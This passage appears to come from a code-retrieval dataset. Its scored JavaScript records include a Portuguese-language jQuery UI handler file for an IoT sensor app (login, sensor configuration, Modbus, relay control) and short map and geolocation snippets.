var opt = $(\"#sel_horas option:selected\").index();\n var hr = $(\"#sel_horas option:selected\").text();\n if (opt == 0) r_horas = 2;\n if (opt == 1) r_horas = 6;\n if (opt == 2) r_horas = 24;\n if (opt == 3) r_horas = 48;\n \n if (isNaN(parseInt(hr)))\n r_horas=0;\n else\n r_horas=parseInt(hr);\n \n console.log(\"sel_horas opt=\"+opt+\" val=\"+$(\"#sel_horas\").val()+\" text=\"+$(\"#sel_horas option:selected\").text()+ \" pInt=\"+parseInt(hr));\n atualiza_dados();\n });\n\n // modulo 1 selecao do campo\n $(document).on(\"change\", \"#sel-mod1\", function (evt) {\n var opt = $(\"#sel-mod1 option:selected\").index();\n var v_str;\n var t = opt + 1;\n var node = \"$.node1.field\" + t;\n // case 0: // temperatura case 1: // sensor 2 case 2: // sensor 3\n v_str = jsonPath(json_config, node);\n if (v_str == false) return;\n $(\"#text-mod1-campo\").val(v_str);\n v_str = jsonPath(json_config, node + \"_min\");\n $(\"#text-mod1-min\").val(v_str);\n v_str = jsonPath(json_config, node + \"_max\");\n $(\"#text-mod1-max\").val(v_str);\n $(\"#text-mod1-vcc\").val(jsonPath(json_config, node + \".ajuste\"+t));\n });\n\n // modulo 1 selecao do campo\n $(document).on(\"change\", \"#sel-mod2\", function (evt) {\n var opt = $(\"#sel-mod2 option:selected\").index();\n var v_str;\n var t = opt + 1;\n var node = \"$.node2.field\" + t;\n v_str = jsonPath(json_config, node);\n if (v_str == false) return;\n $(\"#text-mod2-campo\").val(v_str);\n v_str = jsonPath(json_config, node + \"_min\");\n $(\"#text-mod2-min\").val(v_str);\n v_str = jsonPath(json_config, node + \"_max\");\n $(\"#text-mod2-max\").val(v_str);\n $(\"#text-mod2-vcc\").val(jsonPath(json_config, node + \".ajuste\"+t));\n });\n\n // modulo 1 selecao do campo\n $(document).on(\"change\", \"#sel-mod3\", function (evt) {\n var opt = $(\"#sel-mod3 option:selected\").index();\n var v_str;\n var t = opt + 1;\n var node = \"$.node3.field\" + t;\n v_str = jsonPath(json_config, node);\n if (v_str == false) return;\n $(\"#text-mod3-campo\").val(v_str);\n v_str = jsonPath(json_config, node + \"_min\");\n $(\"#text-mod3-min\").val(v_str);\n v_str = jsonPath(json_config, node + \"_max\");\n $(\"#text-mod3-max\").val(v_str);\n $(\"#text-mod3-vcc\").val(jsonPath(json_config, node + \".ajuste\"+t));\n });\n\n // modulo 1 selecao do campo\n $(document).on(\"change\", \"#sel-mod4\", function (evt) {\n var opt = $(\"#sel-mod4 option:selected\").index();\n var v_str;\n var t = opt + 1;\n var node = \"$.node4.field\" + t;\n v_str = jsonPath(json_config, node);\n if (v_str == false) return;\n $(\"#text-mod4-campo\").val(v_str);\n v_str = jsonPath(json_config, node + \"_min\");\n $(\"#text-mod4-min\").val(v_str);\n v_str = jsonPath(json_config, node + \"_max\");\n $(\"#text-mod4-max\").val(v_str);\n $(\"#text-mod4-vcc\").val(jsonPath(json_config, node + \".ajuste\"+t));\n });\n\n /* button #btn_s_config */\n $(document).on(\"click\", \"#btn_s_config\", function (evt) {\n activate_subpage(\"#sub-page-sensor-main\");\n });\n\n /* button #btn-s-corrente */\n $(document).on(\"click\", \"#btn-s-corrente\", function (evt) {\n activate_subpage(\"#sub-page-sensor-corrente\");\n });\n\n /* button #btn-s-s-corrente */\n $(document).on(\"click\", \"#btn-s-s-corrente\", function (evt) {\n var fases=0;\n //Cookies[\"fases\"] = document.getElementById(\"text-s-fases\").value;\n if (document.getElementById(\"af-checkbox-canal-1\").checked == true) {\n fases = fases | 0x01;\n }\n if (document.getElementById(\"af-checkbox-canal-2\").checked) {\n fases = fases | 0x02;\n }\n if (document.getElementById(\"af-checkbox-canal-3\").checked) {\n fases = fases | 0x04;\n }\n if (document.getElementById(\"af-checkbox-canal-auto\").checked == false) {\n fases = fases | 0x08;\n }\n console.log(\"fases=\"+fases);\n Cookies[\"fases\"] = fases;\n //Cookies[\"campo1_min\"] = document.getElementById(\"text-s-corrente-min\").value;\n //Cookies[\"campo1_max\"] = document.getElementById(\"text-s-corrente-max\").value;\n if (document.getElementById(\"af-radio-s-127\").checked)\n Cookies[\"tensao\"] = '127';\n else\n Cookies[\"tensao\"] = '220';\n gravarConfiguracaoSensor('r', document.getElementById(\"text-s-corrente\"));\n });\n\n\n /* button #btn-s-s-main */\n $(document).on(\"click\", \"#btn-s-s-main\", function (evt) {\n /* your code goes here */\n gravarConfiguracaoSensor('m', document.getElementById(\"text-s-main\"));\n });\n\n /* button #btn-s-s-testar */\n $(document).on(\"click\", \"#btn-s-s-testar\", function (evt) {\n /* your code goes here */\n if (confirm(\"Teste será enviado para email e celular salvos. Confirma ?\"))\n gravarConfiguracaoSensor('t', document.getElementById(\"text-s-main\"));\n });\n\n\n /* button #btn-s-s-testar */\n $(document).on(\"click\", \"#btn-s-s-push\", function (evt) {\n /* your code goes here */\n if (confirm(\"Enviar teste de PUSH. Confirma ?\"))\n gravarConfiguracaoSensor('p', document.getElementById(\"text-s-main\"));\n });\n\n /* button #btn_mod_extras */\n $(document).on(\"click\", \"#btn_mod_extras\", function (evt) {\n var n_mod,aux;\n for (n_mod=6 ; n_mod<=9; n_mod++) {\n $('#chartx' + n_mod +'11_div').css(\"display\", \"block\");\n $('#chartx' + n_mod +'12_div').css(\"display\", \"block\");\n for (aux=2; aux<=MAX_NODES_SENSORES; aux++) {\n $('#chartx' + n_mod +'' + aux +\"1_div\").css(\"display\", \"none\");\n $('#chartx' + n_mod +'' + aux +\"2_div\").css(\"display\", \"none\");\n }\n }\n\n if ($(\"#btn_mod1\").css(\"display\") != \"none\")\n activate_subpage(\"#uib_page_mod1\");\n else\n if ($(\"#btn_mod2\").css(\"display\") != \"none\")\n activate_subpage(\"#uib_page_mod2\");\n else\n activate_subpage(\"#uib_page_mod3\");\n });\n\n /* button #btn-m-config */\n $(document).on(\"click\", \"#btn-m-config\", function (evt) {\n activate_subpage(\"#uib_page_mod_config\");\n });\n\n /* button #btn-mod-salvar */\n $(document).on(\"click\", \"#btn-mod-salvar\", function (evt) {\n // salva nodes\n gravarConfiguracaoSensor('n', document.getElementById(\"text-mod-text\"));\n });\n\n /* button #btn-s-cmd */\n $(document).on(\"click\", \"#btn-s-cmd\", function (evt) {\n activate_subpage(\"#uib-page-cmd\");\n });\n\n /* button #btn-s-enviar-cmd */\n $(document).on(\"click\", \"#btn-s-enviar-cmd\", function (evt) {\n gravarComandoTS(document.getElementById(\"text-cmd-text\"));\n });\n\n /* button #btn_mod4 */\n $(document).on(\"click\", \"#btn_mod4\", function (evt) {\n activate_subpage(\"#uib_page_mod4\");\n });\n\n $(document).on(\"change\", \"#af-checkbox-s-corrente\", function (evt) {\n if ($(this).is(\":checked\")) {\n rec_corrente_30a = true;\n } else {\n rec_corrente_30a = false;\n }\n });\n\n $(document).on(\"change\", \"#af-checkbox-s-extra\", function (evt) {\n if ($(this).is(\":checked\")) {\n rec_temperatura2 = true;\n } else {\n rec_temperatura2 = false;\n }\n });\n /* button #btn-config-principal */\n $(document).on(\"click\", \"#btn-config-principal\", function (evt) {\n /*global activate_subpage */\n activate_subpage(\"#uib_page_5\");\n });\n\n /* button #btn_login */\n $(document).on(\"click\", \"#btn_login\", function (evt) {\n /*global activate_subpage */\n activate_subpage(\"#uib_page_13\");\n });\n\n /* button #btn-sign-in */\n $(document).on(\"click\", \"#btn-sign-in\", function (evt) {\n /*global activate_subpage */\n activate_subpage(\"#uib_page_sign_in\");\n });\n\n /* button #btn-sign-up */\n $(document).on(\"click\", \"#btn-sign-up\", function (evt) {\n /*global activate_subpage */\n activate_subpage(\"#uib_page_sign_up\");\n });\n\n /* button #btn-sign-in-limpar */\n $(document).on(\"click\", \"#btn-sign-in-limpar\", function (evt) {\n /* your code goes here */\n $(\"#text-user-name\").val('');\n $(\"#text-user-passwd\").val('');\n });\n\n /* button #btn-sign-in-entrar */\n $(document).on(\"click\", \"#btn-sign-in-entrar\", function (evt) {\n /* your code goes here */\n signInServer('in');\n });\n\n\n $(document).on(\"change\", \"#text-email\", function (evt) {\n var email = $(\"#text-email\").val();\n if (validateEmail(email) == false) {\n navigator.notification.alert(email, alertDismissed,\n 'Email inválido.', 'Fechar');\n }\n });\n\n $(document).on(\"change\", \"#text-usuario\", function (evt) {\n var usr = $(\"#text-usuario\").val();\n if (validateUsuario(usr) == false) {\n navigator.notification.alert(usr, alertDismissed,\n 'Usuário inválido.', 'Fechar');\n }\n });\n\n\n $(document).on(\"change\", \"#text-senha-1\", function (evt) {\n var passwd = $(\"#text-senha-1\").val();\n var ret = validatePasswd(passwd);\n if (ret != true) {\n navigator.notification.alert(ret, alertDismissed,\n 'Senha inválida.', 'Fechar');\n }\n });\n\n\n $(document).on(\"change\", \"#text-senha-2\", function (evt) {\n var passwd = $(\"#text-senha-2\").val();\n var ret = validatePasswd(passwd);\n if (ret != true) {\n navigator.notification.alert(ret, alertDismissed,\n 'Senha inválida.', 'Fechar');\n }\n });\n\n /* button #btn-limpar-cadastro */\n $(document).on(\"click\", \"#btn-limpar-cadastro\", function (evt) {\n /* your code goes here */\n $(\"#text-nome-completo\").empty();\n $(\"#text-email\").empty();\n $(\"#text-usuario\").empty();\n $(\"#text-senha-1\").empty();\n $(\"#text-senha-2\").empty();\n });\n\n /* button #btn-enviar-cadastro */\n $(document).on(\"click\", \"#btn-enviar-cadastro\", function (evt) {\n var txt, ret;\n if ($(\"text-senha-1\").val() != $(\"text-senha-2\").val()) {\n navigator.notification.alert(data, // message\n alertDismissed, 'Senhas diferentes, conferir.', 'Fechar');\n return;\n }\n txt = $(\"#text-email\").val();\n if (validateEmail(txt) == false) {\n mensagemTela('Erro', 'Email invalido');\n return;\n }\n txt = $(\"#text-usuario\").val();\n if (validateUsuario(txt) == false) {\n mensagemTela('Erro', 'Usuario invalido');\n }\n txt = $(\"#text-senha-1\").val();\n ret = validatePasswd(txt);\n if (ret != true) {\n mensagemTela('Erro', 'Senha invalida');\n return;\n }\n txt = $(\"#text-senha-2\").val();\n ret = validatePasswd(txt);\n if (ret != true) {\n mensagemTela('Erro', 'Senha2 invalida');\n return;\n }\n signInServer('up');\n });\n\n /* button #btn-login-login */\n $(document).on(\"click\", \"#btn-login-login\", function (evt) {\n /*global activate_subpage */\n document.getElementById('text-leituras').innerHTML='Login';\n activate_subpage(\"#uib_page_13\");\n });\n\n /* button #btn-pular */\n $(document).on(\"click\", \"#btn-pular\", function (evt) {\n /* your code goes here */\n activate_subpage(\"#uib_page_2\");\n });\n\n $(document).on(\"click\", \"#btn-login-reenviar\", function (evt) {\n /*global activate_subpage */\n signInServer('reset');\n\n\n });\n\n /* button #btn-login-pular */\n\n\n /* button #btn-sign-out */\n $(document).on(\"click\", \"#btn-sign-out\", function (evt) {\n /* your code goes here */\n var id_google=null;\n if (json_user.id_google !== undefined)\n id_google=json_user.id_google;\n if (sessao_id == null)\n mensagemTela('Erro', 'Usuario nao logado');\n else {\n signInServer('out');\n if (id_google != null)\n signOut();\n //$(\"#text-user-name\").empty();\n //$(\"#text-user-passwd\").empty();\n }\n });\n\n /* button #btn-trocar-senha */\n $(document).on(\"click\", \"#btn-trocar-senha\", function (evt) {\n /*global activate_subpage */\n document.getElementById('text-leituras').innerHTML='Login';\n activate_subpage(\"#uib_page_senha\");\n });\n\n /* button #btn-senha-trocar */\n $(document).on(\"click\", \"#btn-senha-trocar\", function (evt) {\n /* your code goes here */\n var txt, txt2, ret;\n if (sessao_id == null) {\n mensagemTela('Erro', 'Usuario nao logado.');\n }\n txt = $(\"#text-senha-antiga\").val();\n if (txt == '') {\n mensagemTela('Error','Senha antiga inválida.');\n return;\n }\n txt = $(\"#text-senha-nova\").val();\n ret = validatePasswd(txt);\n if (ret != true) {\n mensagemTela('Senha nova inválida.',ret);\n return;\n }\n txt2 = $(\"#text-senha-confirmacao\").val();\n ret = validatePasswd(txt2);\n if (ret != true) {\n mensagemTela('Confirmação da senha inválida.',ret);\n return;\n }\n if (txt != txt2) {\n mensagemTela('Erro','Senha nova e confirmação devem ser iguais.');\n return;\n }\n signInServer('troca');\n $(\"#text-senha-antiga\").val('');\n $(\"#text-senha-nova\").val('');\n $(\"#text-senha-confirmacao\").val('');\n });\n\n /* button #btn-sign-email */\n $(document).on(\"click\", \"#btn-sign-email\", function(evt)\n {\n txt = $(\"#text-sign-email\").val();\n if (validateEmail(txt) == false) {\n navigator.notification.alert(txt, alertDismissed,\n 'Email inválido.', 'Fechar');\n return;\n }\n signInServer('email');\n return false;\n });\n\n\n\n $(document).on(\"change\", \"#sel-meus-sensores\", function (evt) {\n var opt = $(\"#sel-meus-sensores option:selected\").index();\n if (opt == -1)\n return;\n /* your code goes here */\n if (json_sensores == null) {\n document.getElementById(\"modelo\").value = json_user.sensores[opt].modelo;\n document.getElementById(\"serie\").value = json_user.sensores[opt].serie;\n document.getElementById(\"chave\").value = json_user.sensores[opt].chave;\n } else {\n document.getElementById(\"modelo\").value = json_sensores.sensores[opt].modelo;\n document.getElementById(\"serie\").value = json_sensores.sensores[opt].serie;\n document.getElementById(\"chave\").value = json_sensores.sensores[opt].chave;\n }\n localDB.modelo = document.getElementById(\"modelo\").value;\n localDB.serie = document.getElementById(\"serie\").value;\n localDB.chave = document.getElementById(\"chave\").value;\n eventFire(document.getElementById('btn_let_config_web'), 'click');\n });\n\n $(document).on(\"change\", \"#sel-modbus\", function (evt) {\n var opt = $(\"#sel-modbus option:selected\").index();\n if (json_modbus == null) {\n document.getElementById(\"text-mb-slave\").value = json_config.modbus[opt].slave;\n document.getElementById(\"text-mb-addr\").value = json_config.modbus[opt].addr;\n document.getElementById(\"text-mb-cmd\").value = json_config.modbus[opt].cmd;\n document.getElementById(\"text-mb-qtde\").value = json_config.modbus[opt].qtde;\n } else {\n document.getElementById(\"text-mb-slave\").value = json_modbus.modbus[opt].slave;\n document.getElementById(\"text-mb-addr\").value = json_modbus.modbus[opt].addr;\n document.getElementById(\"text-mb-cmd\").value = json_modbus.modbus[opt].cmd;\n document.getElementById(\"text-mb-qtde\").value = json_modbus.modbus[opt].qtde;\n\n }\n if (json_config.modbus == undefined) return;\n /* your code goes here */\n });\n\n $(document).on(\"change\", \"#sel-tipo_alertas\", function (evt) {\n sensor_seco.select = $(\"#sel-tipo_alertas option:selected\").val();\n lerStatus('alertas', \"pag_info_status\");\n\n });\n\n /* button #btn-login-logoff */\n $(document).on(\"click\", \"#btn-login-logoff\", function (evt) {\n var id_google=null;\n document.getElementById('text-leituras').innerHTML='Login';\n if (json_user.id_google !== undefined)\n id_google=json_user.id_google;\n if (sessao_id == null)\n mensagemTela('Erro', 'Usuario nao logado');\n else {\n signInServer('out');\n if (id_google != null)\n signOut();\n }\n\n\n });\n\n /* button #btn_login */\n $(document).on(\"click\", \"#btn_login\", function (evt) {\n if (json_config == null)\n activate_subpage(\"#uib_page_sign_in\");\n else\n activate_subpage(\"#uib_page_13\");\n /* your code goes here */\n });\n\n /* button #btn-login-logoff */\n $(document).on(\"click\", \"#btn-login-logoff\", function (evt) {\n /*global activate_subpage */\n activate_subpage(\"#uib_page_13\");\n });\n\n /* button #btn-assoc-ts */\n $(document).on(\"click\", \"#btn-assoc-ts\", function (evt) {\n if (json_user == undefined) {\n mensagemTela(\"Erro\", \"Necessário estar logado\");\n return;\n }\n if ($(\"#modelo\").val() == '') {\n mensagemTela(\"Alerta\", \"Informar modelo\");\n return;\n }\n if ($(\"#serie\").val() == '') {\n mensagemTela(\"Alerta\", \"Informar serie\");\n return;\n }\n if ($(\"#chave\").val() == '') {\n mensagemTela(\"Alerta\", \"Informar chave\");\n return;\n }\n /* your code goes here */\n signInServer('TS+');\n });\n\n /* button #btn-desassoc-ts */\n $(document).on(\"click\", \"#btn-desassoc-ts\", function (evt) {\n if (json_user == undefined) {\n mensagemTela(\"Erro\", \"Necessário estar logado\");\n return;\n }\n if ($(\"#modelo\").val() == '') {\n mensagemTela(\"Alerta\", \"Informar modelo\");\n return;\n }\n if ($(\"#serie\").val() == '') {\n mensagemTela(\"Alerta\", \"Informar serie\");\n return;\n }\n if ($(\"#chave\").val() == '') {\n mensagemTela(\"Alerta\", \"Informar chave\");\n return;\n }\n /* your code goes here */\n signInServer('TS-');\n });\n\n /* button #btn-alerta-salvar */\n $(document).on(\"click\", \"#btn-alerta-salvar\", function (evt) {\n /* your code goes here */\n signInServer('reg');\n });\n\n /* button #btn-alerta-limpar */\n $(document).on(\"click\", \"#btn-alerta-limpar\", function (evt) {\n /* your code goes here */\n $(\"#text-alerta-usuario\").empty();\n $(\"#text-alerta-msg\").emtpy();\n\n });\n\n\n $(document).on(\"change\", \"#str_horas\", function (evt) {\n //var re = /^\\#?([\\d]{1,2},)*([\\d]{1,2}|\\#)$/;\n var re = /^(#,)?([\\d]{1,2},)*([\\d]{1,2}|\\#)$/;\n console.log(\"horas=\"+this.value);\n if (re.test(this.value) == false) {\n mensagemTela(\"erro:\"+this.value,\"Formato: <hora,hora,hora,#> ex.: 2,6,12,48,#\");\n this.value = json_config.canal.horas;\n }\n });\n\n \n \n /* button Painel */\n $(document).on(\"click\", \".uib_w_299\", function(evt)\n {\n /*global activate_subpage */\n document.getElementById('text-leituras').innerHTML='Painel';\n activate_subpage(\"#uib_page_painel\");\n });\n\n\n // painel angular \n $(document).on(\"click\", \"#t05\", function(evt)\n {\n activate_subpage(\"#uib_page_2\");\n });\n \n // consumo pagina 2\n $(document).on(\"click\", \"#t01\", function(evt)\n {\n activate_subpage(\"#uib_page_10\");\n });\n // fase pagina 3\n $(document).on(\"click\", \"#t02\", function(evt)\n {\n activate_subpage(\"#uib_page_11\");\n });\n $(document).on(\"click\", \"#t03\", function(evt)\n {\n activate_subpage(\"#uib_page_11\");\n });\n $(document).on(\"click\", \"#t04\", function(evt)\n {\n activate_subpage(\"#uib_page_11\");\n });\n\n $(document).on(\"change\", \"#af-flipswitch-rele\", function (env)\n {\n var flag = $(\"#af-flipswitch-rele\").prop(\"checked\") == 1;\n var a = $(\"#af-flipswitch-rele\").prop(\"checked\") ? \"On\" : \"Off\";\n\n if (CHAVE1 == flag) {\n document.getElementById(\"text-rele-text\").innerHTML='Chave ajustada.';\n } else {\n\n\n var idx=$(\"#sel-cmd option:eq(5)\").val();\n console.log(\" rele idx=\" + idx);\n gravarComandoTS(document.getElementById(\"text-rele-text\"),'R');\n if (flag==1) {\n document.getElementById('img-lamp-rele').src=\"images/lamp_on.png\";\n } else {\n document.getElementById('img-lamp-rele').src=\"images/lamp_off.png\";\n\n }\n document.getElementById('img-lamp-rele-g').innerHTML='chave alterada';\n document.getElementById('text-ss-rele').innerHTML='chave alterada';\n\n //console.log(\"af-flipswitch-rele = \" + a);\n }\n });\n\n // atalho para os modulos\n $(document).on(\"click\", \"#n111\", function (evt) {\n activate_subpage(\"#uib_page_mod1\");\n });\n $(document).on(\"click\", \"#n112\", function (evt) {\n activate_subpage(\"#uib_page_mod1\");\n });\n $(document).on(\"click\", \"#n121\", function (evt) {\n activate_subpage(\"#uib_page_mod1\");\n });\n $(document).on(\"click\", \"#n122\", function (evt) {\n activate_subpage(\"#uib_page_mod1\");\n });\n\n /* button #btn_mod2 */\n $(document).on(\"click\", \"#n211\", function (evt) {\n activate_subpage(\"#uib_page_mod2\");\n });\n $(document).on(\"click\", \"#n212\", function (evt) {\n activate_subpage(\"#uib_page_mod2\");\n });\n $(document).on(\"click\", \"#n221\", function (evt) {\n activate_subpage(\"#uib_page_mod2\");\n });\n $(document).on(\"click\", \"#n222\", function (evt) {\n activate_subpage(\"#uib_page_mod2\");\n });\n\n /* button #btn_mod3 */\n $(document).on(\"click\", \"#n311\", function (evt) {\n activate_subpage(\"#uib_page_mod3\");\n });\n $(document).on(\"click\", \"#n312\", function (evt) {\n activate_subpage(\"#uib_page_mod3\");\n });\n $(document).on(\"click\", \"#n321\", function (evt) {\n activate_subpage(\"#uib_page_mod3\");\n });\n $(document).on(\"click\", \"#n322\", function (evt) {\n activate_subpage(\"#uib_page_mod3\");\n });\n \n /* button #btn_mod3 */\n $(document).on(\"click\", \"#n411\", function (evt) {\n activate_subpage(\"#uib_page_mod4\");\n });\n $(document).on(\"click\", \"#n412\", function (evt) {\n activate_subpage(\"#uib_page_mod4\");\n });\n $(document).on(\"click\", \"#n421\", function (evt) {\n activate_subpage(\"#uib_page_mod4\");\n });\n $(document).on(\"click\", \"#n422\", function (evt) {\n activate_subpage(\"#uib_page_mod4\");\n });\n console.log(\"<index_user_scripts.js\");\n /* button #btn-s-rele */\n $(document).on(\"click\", \"#btn-s-rele\", function(evt)\n {\n /*global activate_subpage */\n activate_subpage(\"#sub-page-sensor-rele\");\n return false;\n });\n\n /* button #btn-s-modbus */\n $(document).on(\"click\", \"#btn-s-modbus\", function(evt)\n {\n /*global activate_subpage */\n activate_subpage(\"#sub-page-modbus\");\n return false;\n });\n\n /* button #btn-mb-salvar */\n $(document).on(\"click\", \"#btn-mb-salvar\", function(evt)\n {\n var mb_slave = parseInt($('#text-mb-slave').val());\n var mb_addr = parseInt($('#text-mb-addr').val());\n var mb_cmd = parseInt($('#text-mb-cmd').val());\n var mb_qtde = parseInt($('#text-mb-qtde').val());\n if (isNaN(mb_slave) || mb_slave <1 || mb_slave > 254) {\n mensagemTela('Erro', 'Slave deve ser >=1 e <=254');\n return false;\n }\n\n if (isNaN(mb_addr) || mb_addr <0 || mb_addr > 10000) {\n mensagemTela('Erro', 'Endereco deve ser >=1 e <=10000');\n return false;\n }\n if (isNaN(mb_cmd) || mb_cmd<1 ||mb_cmd>4) {\n mensagemTela('Erro', 'Comando deve ser >=1 e <=10000');\n return false;\n }\n if (isNaN(mb_qtde) || mb_qtde<1 ||mb_qtde>8) {\n mensagemTela('Erro', 'Quantidade deve ser >=1 e <=8');\n return false;\n }\n signInServer('MB+');\n /* your code goes here */\n return false;\n });\n\n /* button #btn-mb-remover */\n $(document).on(\"click\", \"#btn-mb-remover\", function(evt)\n {\n signInServer('MB-');\n /* your code goes here */\n return false;\n });\n\n /* button #btn-inicio */\n $(document).on(\"click\", \"#btn-inicio\", function(evt)\n {\n if (json_config == undefined)\n /* your code goes here */\n activate_subpage(\"#uib_page_sign_in\");\n else\n /* if (rec_sensor_seco)\n activate_subpage(\"#uib_page_seco\");\n else*/\n activate_subpage(\"#uib_page_2\");\n\n });\n\n /* button #btn-login-pular */\n $(document).on(\"click\", \"#btn-login-pular\", function(evt)\n {\n document.getElementById('text-leituras').innerHTML='Login';\n if (json_config == undefined)\n /* your code goes here */\n activate_subpage(\"#uib_page_5\");\n else\n if (rec_sensor_seco)\n activate_subpage(\"#uib_page_seco\");\n else\n activate_subpage(\"#uib_page_2\");\n\n });\n\n /* button #btn_inicio_mod */\n $(document).on(\"click\", \"#btn_inicio_mod\", function(evt)\n {\n if (json_config == undefined)\n /* your code goes here */\n activate_subpage(\"#uib_page_5\");\n else\n if (rec_sensor_seco)\n activate_subpage(\"#uib_page_seco\");\n else\n activate_subpage(\"#uib_page_2\");\n\n });\n\n /* button #btn-ss-click */\n $(document).on(\"click\", \"#btn-ss-click\", function(evt)\n {\n /* your code goes here */\n gravarComandoTS(document.getElementById(\"text-rele-text\"), 'PR');\n return false;\n });\n\n /* button #btn-eventos-seco */\n $(document).on(\"click\", \"#btn-eventos-seco\", function(evt)\n {\n /* your code goes here */\n lerStatus('alertas', \"pag_info_status\");\n activate_subpage(\"#uib_page_eventos_seco\");\n return false;\n });\n\n /* button #btn-horimetro */\n $(document).on(\"click\", \"#btn-horimetro\", function(evt)\n {\n /* your code goes here */\n if (sensor_seco.eventos == 'todos') {\n $(\"#btn-horimetro\").html(\"Eventos\");\n sensor_seco.eventos = 'horimetro';\n } else {\n $(\"#btn-horimetro\").html(\"Horímetro\");\n sensor_seco.eventos = 'todos';\n }\n lerStatus('alertas', \"pag_info_status\");\n\n return false;\n });\n\n /* button #btn-gerador */\n $(document).on(\"click\", \"#btn-gerador\", function(evt)\n {\n /*global activate_subpage */\n activate_subpage(\"#uib_page_seco\");\n return false;\n });\n\n /* button #btn-inicio-startup */\n $(document).on(\"click\", \"#btn-inicio-startup\", function(evt)\n {\n /*global activate_subpage */\n activate_subpage(\"#uib_page_sign_in\");\n return false;\n });\n\n /* button #btn-google-signin */\n $(document).on(\"click\", \"#btn-google-signin\", function(evt)\n {\n /* your code goes here */\n googleSiginIn()\n return false;\n });\n\n /* button #btn-in-sensores */\n\n\n /* button #btn-in-sensores */\n $(document).on(\"click\", \"#btn-in-sensores\", function(evt)\n {\n /*global activate_subpage */\n activate_subpage(\"#sub-page-config-seco\");\n return false;\n });\n\n /* button #btn-res-incluir */\n $(document).on(\"click\", \"#btn-res-incluir\", function(evt)\n {\n /* your code goes here */\n var data= {starts_at:\"12:00:00\", ends_at:\"13:00:00\"};\n json_desativados.push(data);\n angular.element($(\"#afui\")).scope().getDesativados();\n return false;\n });\n\n }", "title": "" }, { "docid": "f6f82ed58b9786bd8fe5d1d2533c4bed", "score": "0.57864654", "text": "function getLocationButton(location) {\n\t\t\n\t\tslenderDB.child('locations').child(location).once('value', function (snap) {\n\n\t\t\tlocation = snap.key()\n\n\t\t\tkill = snap.val().die\n\t\t\tdirection = snap.val().direction\n\t\t\tlabel = snap.val().label\t\t\t\n\n\t\t\tbuttonCode = '<button onclick=\"javascript:displaySlenderChoices(\\'' + location + '\\',\\'' + kill + '\\')\" type=\"button\" class=\"btn-lg btn-danger scaryButton\">Go ' + direction + ' ' + label + '</button> '\n\n\t\t\t$('#choiceButtons').append(buttonCode)\t\t\t\n\t\t})\n\n}", "title": "" }, { "docid": "d2839cb92a64a3a407c4408d9776887b", "score": "0.5785065", "text": "locationClick(e) {\n //using geonames lat and lng instead of event latlng should be more precise.\n let countryInfo = this.queryFeatures(e.latlng);\n let countryFeature = (countryInfo && countryInfo.length > 0) ? countryInfo[0].feature : null;\n let locationFeature = e.target.feature\n const {latlng} = e;\n //at this stage I have the location feature + country feature \n Actions.invoke(Constants.ACTION_POPUP_INFO, {\n locationFeature, countryFeature, 'position': latlng\n })\n }", "title": "" }, { "docid": "65b66338d2a1257dacf6de6e16681b4c", "score": "0.5771659", "text": "function getPos(){\n $('.click').on('click', e =>{\n $('#js-form').html(`<input class=\"forecast\" type=\"button\" value=\" Check your forecast\">`)\n \n window.navigator.geolocation.getCurrentPosition(success)\n \n })\n}", "title": "" }, { "docid": "54df89b6f40c3b41a858e2629086235f", "score": "0.5770978", "text": "function onClickOfSegApi(eventobj){\n\tapiKey = eventobj.selectedIndex[1];\n\tif(apiKey==0)\n\t\tgeoPosition();\n\telse if(apiKey==1)\n\t\twatchPosition();\n}", "title": "" }, { "docid": "b5c065b8f8afbab11a26e46e16cba632", "score": "0.5762731", "text": "function clickEvents() {\n\tvar newRoute;\n\n\t$(\"#my-routes\").click(function(){showMyRoutes()});\n\t$(\"#home-btn\").click(function(){\n\t\treturnHome()\n\t});\n\n\t// create a new Route instance from the form\n\t// and pass it into the generateRoutePreview\n\t$(\"#show-preview-btn\").click(function(){\n\t\tnewRoute = Route.createFromForm()\n\t\tgenerateRoutePreview(newRoute)\n\t});\n\n\t// save the Route to Parse, return \"Home\", and cleanup form\n\t$(\"#confirm-route\").click(function(){\n\t\tsaveRouteInfo(newRoute)\n\t\tanimateToHomeScreen();\n\t\tclearInputs()\n\t});\n\n\t// just return home\n\t$(\"#cancel-route\").click(function(){\n\t\tanimateToHomeScreen();\n\t});\n}", "title": "" }, { "docid": "a94a396c1005a0813afc2627598a174b", "score": "0.57573235", "text": "function buttonClick() {\n var geocodeLocation = document.getElementById('location').value;\n \n var geocoder = new google.maps.ClientGeocoder();\n geocoder.getLatLng(geocodeLocation, function(point) {\n if (point) {\n var lookAt = ge.createLookAt('');\n lookAt.set(point.y, point.x, 10, ge.ALTITUDE_RELATIVE_TO_GROUND,\n 0, 60, 20000);\n ge.getView().setAbstractView(lookAt);\n }\n });\n }", "title": "" }, { "docid": "6c71d8d365e34e0ad0f882d3bb6fb41c", "score": "0.572418", "text": "function SearchMapButton() {\n}", "title": "" }, { "docid": "e36a11953d5a72009e87d66067f045dd", "score": "0.57117283", "text": "function checkLocation(evt, total) {\n clickedFirefly(evt, total);\n}", "title": "" }, { "docid": "b12d42bca7e79b7e9d0ce27bb987a9ef", "score": "0.5700396", "text": "function initMap() {\n\n //The center location of our map.\n let centerOfMap = new google.maps.LatLng(55.99, 22.23);\n\n //Map options.\n let options = {\n center: centerOfMap, //Set center.\n zoom: 7 //The zoom value.\n };\n\n //Create the map object.\n map = new google.maps.Map(document.getElementById('map'), options);\n\n //parodom jau registruotus taskus\n for (let i = 0; i < lats_array.length; i++) {\n new google.maps.Marker({\n position: { lat: parseFloat(lats_array[i]), lng: parseFloat(lngs_array[i])},\n icon: \"https://pletra.ciamarket.lt/registered.png\",\n map,\n title: \"Registruotas\",\n });\n //console.log(\"kakaka\");\n }\n\n // bandom autonustatymą\n infoWindow = new google.maps.InfoWindow();\n const locationButton = document.createElement(\"button\");\n locationButton.textContent = \"Pabandyti nustatyti mano vietovę\";\n locationButton.classList.add(\"custom-map-control-button\");\n map.controls[google.maps.ControlPosition.TOP_CENTER].push(locationButton);\n locationButton.addEventListener(\"click\", () => {\n // Try HTML5 geolocation.\n if (navigator.geolocation) {\n navigator.geolocation.getCurrentPosition(\n (position) => {\n const pos = {\n lat: position.coords.latitude,\n lng: position.coords.longitude,\n };\n infoWindow.setPosition(pos);\n infoWindow.setContent(\"Rasta vietovė.\");\n infoWindow.open(map);\n map.setCenter(pos);\n },\n () => {\n handleLocationError(true, infoWindow, map.getCenter());\n }\n );\n } else {\n // Browser doesn't support Geolocation\n handleLocationError(false, infoWindow, map.getCenter());\n }\n });\n // end bandom autonustatymą\n\n //Listen for any clicks on the map.\n 